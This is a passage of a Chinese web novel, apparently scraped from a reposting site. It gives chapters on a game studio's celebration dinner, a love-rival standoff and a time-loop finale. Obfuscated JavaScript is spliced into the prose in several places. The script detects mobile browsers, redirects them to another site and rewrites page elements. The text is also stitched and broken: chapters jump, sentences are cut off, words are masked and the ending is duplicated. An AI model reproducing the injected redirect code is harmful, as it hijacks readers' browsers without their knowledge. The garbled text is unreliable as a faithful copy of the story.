见她吃瘪的样子,苏雾在旁边笑得不行,抬头看见罗摩提着一袋子东西推门进来,又是眼睛发亮:“罗总监,你给余总买好吃的了?”因为招募到合适的建模师,罗摩现在已经正式升级成公司另一位游戏制作人,余缺说会负责新的游戏项目,因此大家的称呼也有了改变。 每次两位上司买零食办公室的人都有份,苏雾声音一出,很多人都围了过来。 有薯片,有辣条,有糖果,种类不少。苏雾眼尖,一眼看到下面放着几只冰淇淋:“哇,这天气我都喝热奶茶来着。”四月的淮市还有些乍暖还寒。 罗摩只说了句“刚好嘴馋”,接着随意地拿出一只撕开包装,走到和员工核对新案子制作进度的余缺面前。奶味的、带脆皮的冰淇淋,余缺没侧目去看,直接咬了一口。罗摩也不走,就站他旁边,很自然地咬了第二口。 21.文学城独发 苏雾摸着下巴,饶有兴致地当了回观众。中间罗摩感受到了她的视线,但也仅是瞥过来一眼,又无甚兴趣地将注意力收回——罗总监向来如此,除了余缺,他好像从不在任何人身上投放注意力。 从旁边路过、拿着零食的陆含昭注意到她,顺着目光看看两人,再看看她:“你也想吃?口袋里还有,你自己拿一支。” 苏雾:“我不吃,饱了。”狗粮都有点噎得慌。 “哦,饱了那自觉点,把其它零食放冰箱去。” 苏雾震惊:“不是,我没吃,竟然让我放?” 陆含昭:“别人都拿了,谁让你是最后一个。” 这边的两人斗嘴,那边的两人已经核对完工作进度,拿着一沓文件往办公室走。余缺步子稍快,罗摩落后他一步,而路过的员工则如同被分隔的水流一样,无意识为他们让出路来。 今天余缺依旧是一身西装,或许应该说,在罗摩发现西装在他身上格外好看之后,衣柜里就渐渐多了很多不同类型、不同颜色的西装。取悦自己就好像是种与生俱来的本能,但此时他还没意识到,这是种“取悦”。 唯一能感知到的,只有罗摩的视线——总是流连在被西装勾勒好的腰线上。 进去后将门反手一关,没了外人在场,他更加肆无忌惮一些,余缺嫌弃他手冰,但不妨碍他继续凑上去。只有情绪乱糟糟地,有些得寸进尺的时候,作为理智的弦才会把一切拉回。 办公室的门关上没多久,又开了。这次罗摩出来,下巴上带着一点红痕,看起来像是一块残缺不全的指印。 拿着手机的员工兴冲冲跑过来,看见他,也没注意到这点小小的异常,轻快地叫了声“罗总监”。罗摩“嗯”了一声,问道:“找余缺有事?” “我们的《绝密档案》上热门了!” 其实正确点的说法,应该是之前“黑客事件”上热门了。 之前警方把NCAI整个组织一锅端,但涉及的案件太多,他们忙得不行,花了很长时间去理出头绪。余缺的这起案子好解决,攻击游戏的证据基本都没能销毁,之前的案子就不一样了,他们勒索过的厂商太多,注册地又不都是在淮市的,好多受害的游戏方都联系不到人。 为了尽快把案件一一理顺,警方用官方蓝V,多平台发布了案情公告,宣布涉及勒索无数游戏商,整体涉案金额超百万的黑客组织成员已被拘捕。意图通过网络传播,让之前有被勒索过的厂商、尽量来警局提供相关的证据和信息,方便后续定罪,同时也对同为受害者的游戏制作组成员的帮助表示感谢。 刚发这个公告的时候,大家还没怎么注意到“游戏制作组成员”几个字,都是拍手称快的。因为涉及到不少游戏,部分玩家属于“吃瓜吃到自己家”,一时间奔走相告,营销号和业内的自媒体也争相转载,这么一簇拥,事件的热度起来了。 有老练的自媒体看准时机,写下“游戏行业苦黑客组织久矣”的标题,又挑出之前那些因为被黑客勒索,前期有望挣下一席之地的游戏,后面草草收场,或是直接下架的案例。言辞之精妙,吃瓜群众即使不了解游戏的,都看得为之扼腕。 看客一多,不知不觉就扒到了《绝密档案》身上。 之前,玩家们只知道游戏遭受了黑客攻击,官方紧急停服维护,他们虽然不爽,但很快维护就结束了。有些新玩家来了后,还感到疑惑,黑客攻击这么快就解决了?这事一般不得折腾一段时间? 不过游戏制作组说没事,那就是没事了,之后也没再出事。再说了,他们补偿给得很痛快,对突发事件反应也不慢,这其实很拉好感,大家议论议论也就过了。 现在警方的消息一发,再结合当初结束维护后《绝密档案》的公告内容,说“游戏初次上线经验不足,遭到了黑客组织攻击,但现在已经解决”,合着你说的解决,不是解决了这件事,是解决了整个黑客组织? 妙啊。 有人还因此辗转问到警方的官V,试图确认消息真假,得到的回复也是肯定的。 其实警方一直有在追查这些黑客组织,只是他们往往把IP和资源放在国外,想要定位非常困难,之前抓获过的几个组织耗费了巨量时间和精力。但这次情况不同,因为作为受害者的《绝密档案》游戏方,反过来定位了对方,这极大节省了警方的时间和精力,出警后直接一击即中。 好家伙,这波操作,不仅让作为看客的吃瓜群众们直呼“痛快”,大肆赞赏,那些因为自己想玩的游戏被黑客组织嚯嚯过、因此玩不上的玩家们,也纷纷跑来游戏评论区大夸特夸。 其中最显眼的是一个名为“踏云霄”的氪金大佬。他下载游戏后,直接在商店一口气购买了三十万的道具,截图自己的累积消费金额后,在游戏评论区写下了留言。 【踏云霄:爽了,什么垃圾黑客,搞得我游戏都玩不好,给你们随便氪点当做支持。 另:你们这的道具也太便宜了,每个加到了999,买了好久也才三十万,这能挣到钱吗?】 由于真金白银的截图,这个评论很快被点赞顶到了前列。下面几个对评论的回复点赞也一路拔高: 【梦里不知客:我的随便氪点,首充6块,别人的随便氪点,三十万/痴呆.jpg】 【思思酱:去翻了下发言记录,我猜是因为那个换皮游戏?大佬第一天就氪了五十多万,让他们不要对黑客妥协,可惜,他们硬气了一段时间,没能坚持下去】 【烈酒烹狗:每个加到999、买了很久、才三十万,好小众的中文,我完全看不懂/迷糊.jpg】 【繁花11:别的不说,这游戏道具确实挺便宜,大佬能点那么多下,直到买够三十万,也是够有耐心了】 踏云霄回复了这上面条:我嫌点着烦,给了厨师红包,让他点的。 好嘛,合着还是代点。 这种近似撒钱一样的行为,多少是让人新鲜的,慕名而来围观的吃瓜群众,一个个前赴后继地赶到现场,也有持有相同遭遇,效仿跟风,进游戏随便买一两个道具,权作支持的。 一天之内,游戏流水大涨,下载量也再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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内推,即公司岗位空缺时,内部员工推荐合适的人选前来面试。 因为是公司内部人员推荐,一般不用走HR的初步筛选面试流程,而是直接在岗位的负责人处二面。这是个双赢的过程,一方面,公司能快速招募到人手,且因为是员工推荐,长期留在岗位的可能性更高,另一方面,不用走普通筛选面试流程,也节省了面试者的时间。 而有内推流程的公司,入职成功后,推荐的员工往往会获得几百到几千的奖励红包。 见苏雾一副心中有了人选的样子,余缺:“合适的话,入职后,给你五千红包。” 苏雾眼睛更亮了:“一个人五千?” 余缺看了她一眼:“嗯,一个人五千。” 苏雾:“yes!!!” 红包仿佛就在前面招手,她兴高采烈地转身就走,余缺又把人叫住了:“你顺便告诉一下大家,这个月工资发放的时候,项目奖金会跟着一起发。” 苏雾应了声好,同时也被这话提醒了,问道:“话说余总,游戏都上线这么多天了,我们还没庆祝过呢,今天下班要不要一起去吃个饭什么的?” 余缺点头:“你们商量,我请客。” “好耶!” 22.文学城独发 经过大家商讨,最后在附近三公里处的一家中餐店定了包厢。等到下班后,一个两个的,像是猛兽出笼一样兴奋。 猛兽被困在了路上。 没办法,淮市的下班高峰期实在是太堵了,永不停歇的车流在这一时间段达到了巅峰,短短三公里路,按这毛毛虫一样蠕动的速度,有种不知何年何月才能抵达的感觉。还好大家三三俩俩的呆在一起,聊着天,才不觉无聊。 磨磨蹭蹭地抵达目的地后,罗摩先带着大家进包厢,有员工看见余缺没跟上来,开口询问:“余总还有事吗?” 罗摩:“他去接人。” 作为投资人,贺危是接到电话才知道公司的游戏已经上线了。这倒也不能怪他,作为FIY的教练,又是俱乐部的老板,他日常为队员们的训练都快抓秃了头,还要顾及各种琐事,平日余缺很忙,能抽空打个电话聊两句就不错了,哪有时间关注其它。 《绝密档案》也是在这趟来时的车里,才被他正式下载到手机上。 游戏质量不错,各种细枝末节都处理得很好,见上线后热度挺高,贺危也打心眼里为余缺感到高兴,唯一不怎么高兴的——他看了眼坐在旁边的许烬。 这浑小子,竟然也跟来了! 明明没叫他,临上车了突然跟着坐到旁边,也不能逼着人下去,那么多队员都看着呢,总不能被认为是教练和队员不合? 他还穿得这么骚包。 贺危堪称挑剔的扫了眼许烬今天的装扮:黑色皮质夹克没拉到顶,同色系内搭上挂着银质的长链,一头醒目红色短发明显有好好打理过,耳朵上还带着耳钉和耳扣的组合搭配,整体看似随性,实际精致到不行。 明显是因为要见余缺,开始孔雀开屏了。 贺危玩游戏的间隙,看见他还在对着手机的自拍摄像头确认细节,忍不住翻了个白眼:“行了啊你,差不多得了。” 许烬:? 贺危:“等会儿见到人,你……”话没说完,车子停了。透过车窗,能看见余缺就站在不远处的路边,准确无误地将看向他们,招了下手。两人下车,贺危落后一步在后面扫码,许烬则脚步轻快地穿过街上的行人,一把将自己本体拥在了怀里。 熟悉的气息,熟悉的体温,许烬略低着头蹭了下发丝,又克制地将手松开,眼神柔和,又像是藏着熠熠星光般看向余缺。 落后一步的贺危:我不应该在这里,我应该在车底。/微笑.jpg 虽然只是短暂的抱了一下,朋友之间也会用这种方式表达感情,但这俩亲密的氛围,站在一起的感觉,任凭谁看,都会生出一种“亲密到宛如一体”之感。更别提许烬那黏糊的眼神,假如不是在外面,他肯定直接亲上去了。 而余缺,看起来也完全不会躲。 所以你们是已经在一起了是吧?是吧?! 贺危从裤兜里摸出一根烟点上,脸上有些莫名的沧桑。他觉得自己之前可能是想错了,不是这浑小子想gay自己朋友,是自己朋友本身就不太直。再回想一下,连许烬游戏的打法都是余缺一手教出来的,这俩的感情,指不定有一段时间了。 算了,也不是什么大事。 他缓缓吐出一口烟,迎着余缺的目光上前:“我们得提前说好,你俩不许在社交媒体上公开,许烬还要打比赛,现在国内对同性恋的包容还……” 余缺眼神疑惑:“同性恋?” 不是吗?这句反问让贺危迟疑了一下,眯着眼打量两人。 虽然余缺还被许烬拉着手腕,但他脸上的疑惑也很真实。再回想一下这些年的相处,与其说余缺是同性恋,不如说他对男女都不怎么喜欢,身边的朋友除了他没有别人,但凡谁稍微靠近一点都要皱眉。所以现在好不容易有个许烬出现,他或许、可能、大概,是并不知道和别人相处的正确距离? 嘶,所以,我朋友可能是个天然渣?瞧把旁边这小子撩成什么样了,竟然,竟然还完全没感觉? 贺危:抽烟的手,微微颤抖。 自认为理顺了前后关系,贺危“哈哈”地干笑了一声:“不是,我开玩笑呢。别愣着了,快进去吧,别人还等我们呢。” 等到一路进了包厢,贺危发现,自己的猜测完全没错。因为除了许烬,公司新来的这个罗总监,他看起来同样对余缺觊觎已久,但余缺同样跟他没有和别人的距离感,都能很自然地咬他手上的东西吃。 贺危:/点烟.jpg 余缺你是真的心大啊,这俩现在可都在现场,你也不怕他们打起来! 当事人余缺还在和员工们介绍:“这是公司的投资人,贺危,这是许烬,是我朋友,都是顺便过来一起吃饭,大家不用招呼。”员工们认识了一下,又继续热热闹闹地聊天等上菜。 大家年纪大部分都很年轻,既然余总的意思是不必在意,也就真的不怎么在意。但职场经验丰富的大龄程序员有点坐不住,在想要不要去问声好,敬一下酒,被苏雾按住了:“别过去,余总那边都成修罗场了,你去会被眼神杀死的。” 他年纪大,没明白修罗场是什么意思,但是听劝,没去凑热闹。 那边,余缺身边一左一右坐着许烬和罗摩,再远一点是有些欲言又止的贺危。余缺眉目带笑,问道:“在车上玩过游戏了,感觉怎样?” 贺危:“质量很好,UI和操作方式也都处理得可以,整体流畅,唯一可惜的是手机屏幕还是稍微小了点,感觉电脑看画面会更好。” “确实,受限屏幕,画面在电脑上体验更好一些。”余缺坐姿闲适,耳边掉下一缕发丝,罗摩熟稔地为其整理了一下,他全程没有动弹,还在跟贺危说话:“后面看看,会尽量再进行优化。” 另一边的许烬似是无聊,抓着他的手,用纤长的手指在余缺薄薄的手套边缘试探,试图将自己的手指探进去,余缺没反应,但罗摩眼神有一瞬间的锋利,两人视线短暂交汇,又很快错开,将注意力回归到本体上。 他们本能的、想要本体的注意力多留在自己身上。 那一瞬间,旁边的贺危以为他们真要打起来了,心里就跟坐过山车似的。再看向老神在在的余缺,贺危心道:兄弟,你能做到完全察觉不到,也实在是种本事。 除了一直紧密关注着的贺危,苏雾和陆含昭也在默默当观众。看着看着,苏雾就用肩膀怼了下陆含昭:“看半天了,你什么感想?” 陆含昭:“可惜没带数位板。”好适合当人体参考啊。 “哈?”这什么跟什么?苏雾内心吐槽了一句,嘴上又把话题拉了回来:“我不是说这个 ,我是想问,你觉得这个许烬和罗总监,到底谁才是余总真爱啊?”刚刚两人那眼神,火药味好浓啊,但余总谁也没哄,这何尝不是一种端水呢。 由于三人人体比例太好,光顾着在心里比划角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11101571|116327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度的陆含昭:“啊……”她耳朵听见了,脑子还没听见。 苏雾以为她在思考,遂说出了自己的看法:“我觉得还得是罗总监,他很有正室风范,这个许烬年轻,可能沉不住气。” 正室风范?罗总监? 终于听见这句的陆含昭瞪大眼睛:“啊?”/我不懂,但我大受震撼.jpg 苏雾:“你听我给你理论……” 这边要论证个“正室”的二三条例,那边作为视觉中心的余缺则站了起来:“我出去买瓶水。”许烬跟着站起来,眼见着罗摩也要一起,生怕两人在外面打起来的贺危立马找借口将人叫住。 包厢的门开了又关,一墙之隔,依稀能听见里面的喧嚣。 走廊里铺着红色地毯,两边摆着花瓶和盆栽。余缺往前走了几步,突然按住自己小腹,身形晃动,落后一步的许烬及时将人护住,带到了无人的转角。 “很疼?”为了防止体力不支滑倒在地,许烬将人抵在了墙壁上,略有些急切地伸手去摸他的脸。余缺的额发上浸出了冷汗,视线甚至有些无法聚焦,急促地喘息着,试图压下疼痛带来的生理反应。 但腹内宛如刀绞,其它所有感官都被痛觉所覆盖,连转移注意力都做不到。 许烬一只手搂着他,一只手从口袋里摸出从未被打开的烟盒,细长的香烟叼在嘴里,指尖燃起火苗,很快,淡淡的白色烟雾弥漫在了空气中,猩红的火点转移到指间,许烬吐气也有些不匀:“张嘴。” 那支烟被含在了余缺的唇间。 他有一定程度的洁癖,并不喜欢烟味,但这种不喜,正好能让他把注意力转移一些。 淡淡的白色烟雾弥漫在两人中间,许烬注视着他略微厌恶的表情,叼着烟,猩红的火光明灭,烟雾好像在空气中,又好像侵蚀进了皮肤里。之前讨厌的气味,放在本体身上,却让许烬莫名的、产生了一种无法言说的隐秘和兴奋。就像是,余缺被这淡淡的烟雾弄脏了。 他喉结微动,呼吸略喘,倾身凑过去,手按在本体柔韧的腰上,在他脖颈处贪婪地嗅闻体温和烟味混合的味道,脸上浮现出浅浅的绯色。 疼痛没有缓解,许烬能感知到这点,可莫名的情绪,和心中那股无法言说的感觉混淆在一起,让他迷乱起来,本体的体温更像是某种催化剂,声音也低哑了几分:“让我亲一下……” 许烬凑过去,被一只手抵住了脸。余缺还是那个痛得皱眉的模样:“这是在外面。” 身体上出问题的时候,没有外人在场,情绪就很容易失控。许烬习惯性地想用体/液去侵蚀本体的感官,但疼痛虽然厉害,余缺的理智尚在——现在他们不在家,又不是修真界,不能随手布个结界出来。 许烬含糊地低笑了一声,视线在余缺的唇上流连了片刻,心底隐隐升起一股焦躁,他不明白这股焦躁是什么,只能在本体的脖颈上磨蹭,嗓音低哑地叫余缺的名字。 余缺任由他抱,但被按到腹部时,又痛得闷哼了一声。许烬猛地清醒过来:“我去买瓶冰水。”冷能阵痛。 脚步声匆忙远去。 过了一会儿,又有一道稍近的脚步声走近。 来人是谁,余缺并不在乎,他现在痛得不行,眼睛都有点红,叼着烟,身上带着一股明显的烦躁。 那人直直走了过来,毫不掩饰声音里的恶意和讥讽:“余缺,你被包养了?还是被男人?” 第88章 正文完结 剑尖抽出,往下缓缓滴血。熙姀无力地倾倒在沙滩上,整张面孔上都沾染着狼狈的血迹。 心魔幻境已尽数消弭,她的眼睛,也在死前恢复了完全的清明。沈玦的话,宛如落下了最后一块属于她人生的拼图。师兄所做的一切努力终究是付诸东流,她熙姀,最终还是死在了这一刻,死在了一个之前完全瞧不上的蝼蚁手里。 有后悔吗?没有的。 那张蒙上血迹的美丽面孔,只展露出一种强烈的不甘和怨恨。咽喉破碎,让她的声音也变得嘶哑难听:“天道不公,我本可以……飞升的……” 直到咽气,灵魂同步消解,熙姀双眼久久未能合上,脸上只余下一种扭曲至极的表情。 在死前看到的那份“真相”,师兄提前窥探的属于她的“命运”,在熙姀的角度看,当然是不甘心的。她那么好的资质,那么快的修行速度,最后竟然会败在一个蝼蚁手中。她觉得自己就是被天道算计,才导致不能飞升。 而她含恨而死,正是余缺想要的。 所谓的命运之说是真还是假,余缺其实无暇顾及和猜想。他只想杀了她,只想让她感觉到痛苦,被所谓的蝼蚁杀死,就被所谓的命运愚弄,被天道算计,无所谓,都可以。 只要她能不好过,只要她能多一分难受,只要…… 余缺踉跄着往前一步,半跪在尸体前,伸手慢慢合上那双眼睛。 天空中劫云散尽,露出夜空中的一轮皎月。浅白的光洒落大地,一层层的白色浪花伴随着波涛声往海滩上冲刷。月色下,余缺满是血污的脸上没有任何表情,没有痛苦,没有大仇得报的悲喜交加,没有任何复杂的思绪,只剩下一种空茫。 他缓缓放下手,就着浅淡的光线,能看见熙姀的灵魂溢散后,属于余珍的身体仿佛渐渐回归了原本的面目,坚韧,温和。 但她永远也不能再醒过来。 余缺纤长的睫毛上挂着血珠,就这么垂着头,静静地看着她。然后,身体突然脱力,猛地往旁边栽倒。 熙姀已经死亡,这一战看似大获全胜,但到了此时,驱动身体的沸腾恨意渐渐平息,余缺终于感觉到了冷,感觉到四肢的麻木。胸腔里心肺受创,血液已经快流干了,他眼前一阵发黑,面前的画面都时隐时现。 他快**。 意料之中的结局,余缺没有多么不甘。他只是觉得,好安静。 海水在慢慢涨潮,浪花蔓延到了他的脚踝,沾湿了裤脚。但余缺没感觉到海水的冷,也渐渐听不见海浪 的声音,他静静地躺在余珍的尸体旁边,极缓慢地眨动眼睫。 月明星稀,天空中的月亮如此皎洁,整个世界如此安静,安静到辽阔的天地内,好像只剩下了他一个人。 孤寂和疲惫齐齐涌上心头,身体好重,好累…… 在意识宛如沙漏中的沙砾缓缓坠向虚无时,余缺最后看见的画面,是夜空中,一颗明亮的星子,直直向他坠落而来。 金色的面板上早已经弹出了无数警告弹窗,这期间,2247一直不断焦急地呼唤着他的名字,直到感觉余缺呼吸停滞,瞳孔开始扩散,拳头大小的金色光团便再也顾不得什么,猛地冲向了他的眉心。 霎时间,金光迸裂。 宛如漂亮的星辰击碎在无形的屏障,重力下,激起无数金色碎末。 时间好像过去了很久,又好像只过去了一瞬。 余缺缓缓张开眼睛,他看见月光,看见月下的海滩,低头时,看见了躺在海浪中的自己。他眼中浮现出一丝疑惑,下意识地伸手,触及那具属于自己的身体。 但指尖没有碰到皮肤,也没有如同灵体般穿过,而是像触到一层无形的隔膜。空气中泛起浅淡的涟漪,属于过去的一切,开始在他眼前一帧帧后退。 做游戏时,会议室内正襟危坐听员工演讲;打比赛时,台下无数观众为他而欢呼。时间一直退到余珍还活着的时期,那些普通又幸福的日子,让余缺忍不住伸手触碰。 这一次,手指同样像是碰到了无形的隔膜。 很奇怪,余缺突然就产生了一个念头:他可以戳破这层隔膜,他甚至可以跨过时间和空间,回到那个时候。 但是…… 又很诡异的,余缺生出一种直觉——不可以。这些的确是已经经历了一次的宝贵记忆,但他不能再回去经历一次,因为…… 因为什么?余缺并不清楚。他只是顺从自己的直觉,任由那些时光如同清风般从指尖掠过。做出这个决定后,他脑海中自动浮现出一个碎片——因为那会让一切崩碎。 这一瞬间太快,余缺没能抓住。 记忆的画面仍在后退,他很快看见了人生中最黑暗的时光。时隔多年,余缺从第三视角看见幼年的自己,才发现自己的眼睛竟然会有那么死寂的时候。 没有一点光亮,没有任何希冀,活着,好像只是在勉强驱使那个躯壳行动而已,麻木到如行尸走肉。 他甚至已经失去了活下去的意志,需要系统光屏弹出一个个的任务,才如同提线木偶一样,僵硬着去寻找生活 物资。 余缺就这么看着这些画面,看着看着,内心忽然涌上一股难以言喻的复杂和心疼,不自觉地伸手摸了摸画面中自己的脸。 奇怪的是,那些**的时间有一瞬间凝滞,他的指尖,也好似触及到了面颊上微冷的温度和温软的触觉。那个脸上还带着血迹的小孩,第一次浮现出其它表情,他有些疑惑的伸手摸了摸刚刚被触及到的地方。 金色的光屏此时弹出一个弹窗:请确认您的安全。 这个画面极短暂地出现,又很快再次回归如常。余缺却若有所思地看向了自己的指尖。 没等思考出个所以然,一个熟悉的声音突然响起:“余缺!” 抬头四望,没看见熟悉的光球,他疑惑道:“你在哪?” 2247没回答这个问题,而是焦急万分地开口解释情况:“你先听我说!当时情况紧急,我试着强行将系统的能量用来修复你的身体,虽然成功了,你身上的伤口也在复原,但是能量传输通道一开启,就关不掉了!” “现在你的身体看似完好,实际已经快被能量冲击到碎裂!余缺你得赶紧想办法,把这股能量消耗掉,否则身体一碎,你就真的活不成了……” 后面的声音突然像是受到了干扰,完全听不清。余缺在此时抬头,才注意到,周身已是一片虚无,**自己在哪,眼前只有还在继续**的记忆。 不过,听见2247的话,余缺尝试性地伸出手,掌心很快积蓄起一团不断增长的暴戾金光。 能对上了,可他要怎么把这股力量消耗出去? 余缺眉头紧皱,正在思考时,眼前**的画面,再一次出现了短暂的停滞——刺耳的鸣笛声响起。 那是他人生变革的开始。 小小的余缺站在马路旁边,眼前是直直冲撞过来的庞然大物,那声鸣笛不像是为了提醒他离开,反而像是为了加剧他的惊恐。坐在驾驶室的司机面目狰狞,正在猛踩油门。 这一幕宛如恐怖片现场,画面里的他到底只是个普通孩子,惊惧之下,只下意识地闭上了眼。 眼见着车子和那个小小身影之间的距离越来越近,余缺一瞬间突然福至心灵,他看了看自己掌心仍在不断变大的那团暴戾能量,往画面中的人影一推。 就在车子即将撞上人的最后一刻,那个紧闭双眼的小孩,倏地在原地消失了。 收回手后,余缺脸上浮现出恍惚的神色。 他曾经憎恶过那股能量,也曾经想过,与其经历那些痛苦的时光,面临那些无 规律穿越时比原世界汹涌几倍的恶意,他还不如死在那个时候。 至少轻松。 但求生到底是本能,哪怕中间一度对外界除了恶意没有其他感知,他也从未想过主动结束自己的命,最终,也在系统的引导下,得到了为数不多的幸福时光…… 余缺没想过那股能量的来源,只把它当作和突然降临的系统一样,当成是突然闯入他生命中的意外。 但那其实不是意外。 它来自多年之后的另一个“我”。 意识到这点后,眼前所有的画面静止了一瞬,紧接着,时间在这时开始扭曲、割裂。所有的画面被混乱的时间搅碎。 余缺倏地出现在自己出生的时间点,明亮的医院里,两个刚刚出生的婴儿并排躺在床上,温瑞在和谁打电话,寒栀还在床上昏迷不醒。没过多久,一个保镖出现在病房里,温瑞没多看向襁褓中的小余缺一眼,随意地从旁边堆叠着文件的纸张中撕下一个小角,写下余缺的名字和生日:“把他放到福利院门口。” 保镖愣了一秒,有些无所适从地将他抱起来。襁褓中的婴儿感觉到了生人的气息,开始哇哇大哭,温瑞不耐烦地皱眉:“吵**,还不赶紧处理掉?” 高大的保镖沉默着离开,一路上,婴儿如同幼猫一样细细哭泣。余缺则像是一个背后灵一般,就这么随着他们移动,直到被放在福利院门口,所有人离开,婴儿已经哭到嗓音沙哑,脸蛋变得脏兮兮,襁褓并不严实,他的小手挣扎着在空中挥舞。 余缺看着这一切,心中的爱怜,促使他伸手想触碰幼年的自己的脸颊。出乎意料的是,他伸出手后,幼年的自己,忽然抓住了他的一根指节。 虽然只是一瞬间,可就像是触摸到了什么安心的东西,婴儿的哭声顿止,开始眨巴着眼睛,往四周看。 余缺看向自己的手,属于婴儿的小小的握感还残留着。 这一瞬间之后,时间突然拨快,像是按下了什么快进键,等再一次稳定下来,余缺已经是四处跑跳的年纪。 福利院的孩子多,按理来说不该缺玩伴,但幼年的他身边却鲜少有人,只坐在院子的边缘,眼里说不清是渴望还是什么,一直盯着那些玩耍的孩子看。 余缺伸手揉他的发顶,幼年的他忽然转过头,有些新奇的看过来:“你是谁呀?” 一大一小,两张相似度极高的面孔对视,余缺露出浅淡的笑:“我是余缺。” 我是你。 “我也叫余缺!”幼年的他忽然兴奋起来:“我们名字一 样,你可以做我朋友吗?” 孩子其实不该对陌生人、还是成年人说这句话,但他们相似的气息,本能上对自己的信任,又促使幼年的他在第一次见面,就吐露自己的心绪,眼巴巴地道:“别人都不和我玩儿……” 余缺蹲下身子:“当然可以,我会是你独一无二的朋友。” 这话立马让年幼的他就露出甜甜的笑,伸出手抱他:“余缺——” 在被这小小的、暖烘烘的身影抱住时,余缺若有所感地侧过头——福利院门口,何长风面上是讥笑和讽刺,他看不见成年的余缺,只看见幼年的他,冲过去拥抱一团空气,还叫出了自己的名字。 视线只偏离了这一瞬,余缺不再为无关紧要的人牵动心绪,他只安抚性地拍怀中小小身影的后背:“我在这里。” “你在干什么?!”福利院的一个工作人员忽然伸手往后拉了一下这个做出拥抱姿势的孩子。 “我在和朋友玩啊,”小余缺对大人的举动感到疑惑,转向他的方向,伸出手指指了过去:“他……” “别胡说!”工作人员吓了一跳,警惕地看向那个无人的角落,把孩子抱起来就往里走:“院长!院长——” 院子里其他的小孩莫名其妙的看了他们一眼,想跟过去,又被别的大人推去继续玩。唯有被抱起来的小余缺,疑惑不解地看着角落里的人。 时间再度拨动,再次停下的时候,余缺是在洗漱间,年幼的他端着小板凳,趴在镜子面前在看什么。 余缺也看向镜子,里面没有他的倒影。他像是一个意外闯入这段时间的旅人,停留的时间完全不由自己做主。他无可奈何,只能怜惜地摸了摸幼年自己的后脑。 细微的触觉让小余缺一下就侧过了脸,他看到人,眼中先是浮现出一些惊奇,接着又看向镜面,来回几次,像是发现了什么奇异的事。 余缺淡淡笑着:“怎么了?” “你就是我对不对?”小余缺通过镜子,看出了他们的相似:“我们长得其实一样。” “对,”余缺伸手拨弄他额前的碎发:“你会害怕吗?” 镜子前的他缓缓摇头,脸上有些许疑惑:“我只是有些奇怪,为什么我会幻想出你。”经过大人们的教育,他已经完全认为,这是属于他的、独一份的幻想。 “我也不知道,”余缺没戳破所谓的幻想说,而是进行了难得的剖白:“或许是因为看见了你的孤独,或许是觉得你需要我,也或许……” “因为我爱你。” 这话 让年幼的他脸上露出些许不解:“我不太懂你说的……”爱那种东西,难道不是有父母的孩子,他们之间的专属吗? “世间的爱有很多种,”余缺伸出手,再次触碰这张年幼的脸:“于我们而言,爱是种本能。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余缺身上的那股混乱的能量已经见底,他终于明白了一切,也来不及和自己、和余珍告别。他摊开掌心,拿出一个细小的光点,最后一次操控系统面板,写下了这个光点的名字:Sirius·Otto。 他的一生,从诞生开始就身缠厄运。但他自己,仍然像是那位好运到诡异的将军一样,在无数的厄运中幸运地走到了今天。所以,这个名字,前面是余缺认可的星辰和好运,后面是2247曾自己说过,世 界上第一台计算机的名字,是第一个,也是唯一一个。 Sirius·Otto,意为“唯一的幸运星”。 余缺将这颗星辰,缓缓推向那块金色面板,在二者融合时,那个名字的末尾,自动生出了一个后缀“2247”。做完这一切,余缺像是一缕清风一样,被缓缓地从画面中推离。 也是从此刻开始,属于他的人生,如同衔尾蛇一样形成了闭环。 不知过了多久,余缺的意识终于从那种虚无中挣脱。他缓缓睁开眼,微冷的海水在轻柔的往他身上拍,水花四溅,寂静的夜空中,月色依旧皎洁。 金色的光团“咻”地坠到他眼前:“你终于醒啦!” 身侧的,不知道哪个马甲的手,沾着微咸的海水,仿佛确认一般抚摸他的侧脸。 余缺身上还带着血污,脸上露出清浅的笑,他抓住那只手,爱怜的吻了吻指尖:“2247,我打算和他结为道侣。可惜啊,你是不是不能参加婚礼?” 本来还想絮叨一下刚刚凶险情况的光团立马气得在空中乱转:“怎么能这样!我不管,也要参加,我也要!!” 余缺:“那你升级后,能显露身形了吗?” “好像还是不可以……” “你看,那就没办法了。” “啊啊啊——我不管,我不管——” ……! 界上第一台计算机的名字,是第一个,也是唯一一个。 Sirius·Otto,意为“唯一的幸运星”。 余缺将这颗星辰,缓缓推向那块金色面板,在二者融合时,那个名字的末尾,自动生出了一个后缀“2247”。做完这一切,余缺像是一缕清风一样,被缓缓地从画面中推离。 也是从此刻开始,属于他的人生,如同衔尾蛇一样形成了闭环。 不知过了多久,余缺的意识终于从那种虚无中挣脱。他缓缓睁开眼,微冷的海水在轻柔的往他身上拍,水花四溅,寂静的夜空中,月色依旧皎洁。 金色的光团“咻”地坠到他眼前:“你终于醒啦!” 身侧的,不知道哪个马甲的手,沾着微咸的海水,仿佛确认一般抚摸他的侧脸。 余缺身上还带着血污,脸上露出清浅的笑,他抓住那只手,爱怜的吻了吻指尖:“2247,我打算和他结为道侣。可惜啊,你是不是不能参加婚礼?” 本来还想絮叨一下刚刚凶险情况的光团立马气得在空中乱转:“怎么能这样!我不管,也要参加,我也要!!” 余缺:“那你升级后,能显露身形了吗?” “好像还是不可以……” “你看,那就没办法了。” “啊啊啊——我不管,我不管——” ……! 